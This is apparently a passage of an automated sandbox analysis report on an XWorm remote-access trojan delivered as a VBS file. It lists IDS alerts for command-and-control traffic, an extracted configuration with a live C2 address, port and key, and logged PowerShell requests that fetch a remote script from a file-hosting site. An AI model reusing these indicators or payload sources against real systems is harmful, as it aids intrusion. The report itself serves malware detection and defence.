2025-02-15T20:44:13.421950+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.547059+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.656727+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.781895+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.890470+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.999922+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.109235+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.234340+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.344023+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.459354+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.608364+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.910934+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.063498+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.182211+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.297458+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.409110+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.531342+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.642172+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.767796+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.895376+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.047258+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.166688+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.301822+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.428869+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.574977+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:45:39.970391+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	50051	185.241.208.215	7000	TCP
2025-02-15T20:45:53.778510+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	50051	185.241.208.215	7000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:43:52.078578+0100	2852874	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:44:22.079816+0100	2852874	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:45:52.079853+0100	2852874	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	50051	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:44:06.772243+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:06.996526+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.124893+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.234396+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.344034+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.468544+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.578359+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.703005+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.812533+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.921690+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.041096+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.140675+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.250084+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.359472+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.484168+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.615357+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.718633+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.827953+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.947197+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.046727+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.170616+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.285823+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.456448+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.718568+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.828072+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.937533+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.074336+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.187410+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.296806+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.417846+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.532933+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.640672+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.750825+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.866817+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.985467+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.126720+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.250700+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.436495+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.482756+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.635622+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.752453+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.917801+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.232133+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.399346+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.536215+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.664341+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.811358+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.955482+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.080173+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.204120+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.312674+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.421950+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.547059+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.656727+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.781895+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.890470+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.999922+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.109235+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.234340+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.344023+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.459354+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.608364+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:14.910934+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.063498+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.182211+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.297458+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.409110+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.531342+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.642172+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.767796+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:15.895376+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.047258+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.166688+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.301822+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.428869+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:16.574977+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:43:34.393856+0100	2855924	1	Malware Command and Control Activity Detected	192.168.2.4	49736	185.241.208.215	7000	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:44:06.555717+0100	2853191	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:44:06.280176+0100	2853192	1	Malware Command and Control Activity Detected	192.168.2.4	49736	185.241.208.215	7000	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:43:17.557553+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49734	168.119.145.117	443	TCP
2025-02-15T20:43:34.144742+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49738	168.119.145.117	443	TCP
2025-02-15T20:43:47.055557+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49739	168.119.145.117	443	TCP
2025-02-15T20:44:00.816978+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49740	168.119.145.117	443	TCP
2025-02-15T20:44:14.396511+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49759	168.119.145.117	443	TCP
2025-02-15T20:45:16.041932+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	50042	168.119.145.117	443	TCP
2025-02-15T20:45:16.058701+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	50044	168.119.145.117	443	TCP
2025-02-15T20:45:16.063078+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	50043	168.119.145.117	443	TCP
2025-02-15T20:45:16.201202+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	50045	168.119.145.117	443	TCP
2025-02-15T20:45:16.339155+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	50047	168.119.145.117	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["185.241.208.215"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for submitted file

Source: Xclient.vbs	Virustotal: Detection: 8%			Perma Link
Source: Xclient.vbs	ReversingLabs: Detection: 27%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Sample uses string decryption to hide its real strings

Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 185.241.208.215
Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 7000
Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	String decryptor: <123456789>
Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	String decryptor: <Xwormmm>
Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	String decryptor: XWorm V5.6
Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	String decryptor: USB.exe

Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50047 version: TLS 1.2

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FFD9B8C6955h	5_2_00007FFD9B8C625D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FFD9B8C6966h	5_2_00007FFD9B8C625D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FFD9B8C5B9Bh	5_2_00007FFD9B8C59F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 00007FFD9B8C7576h	5_2_00007FFD9B8C0CB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49736 -> 185.241.208.215:7000
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 185.241.208.215:7000 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2852873 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2 : 192.168.2.4:49741 -> 185.241.208.215:7000
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:49741 -> 185.241.208.215:7000
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:49736 -> 185.241.208.215:7000
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 185.241.208.215:7000 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2853192 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound : 192.168.2.4:49736 -> 185.241.208.215:7000
Source: Network traffic	Suricata IDS: 2853191 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound : 185.241.208.215:7000 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 185.241.208.215:7000 -> 192.168.2.4:49741
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 185.241.208.215:7000 -> 192.168.2.4:50051
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:50051 -> 185.241.208.215:7000
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 185.241.208.215:7000 -> 192.168.2.4:50051

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.241.208.215

Source: global traffic

TCP traffic: 192.168.2.4:49736 -> 185.241.208.215:7000

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 168.119.145.117 168.119.145.117

Source: Joe Sandbox View

ASN Name: GBTCLOUDUS GBTCLOUDUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49734 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49738 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49740 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49739 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49759 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:50045 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:50042 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50015 -> 204.79.197.203:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:50047 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:50043 -> 168.119.145.117:443
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:50044 -> 168.119.145.117:443

Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
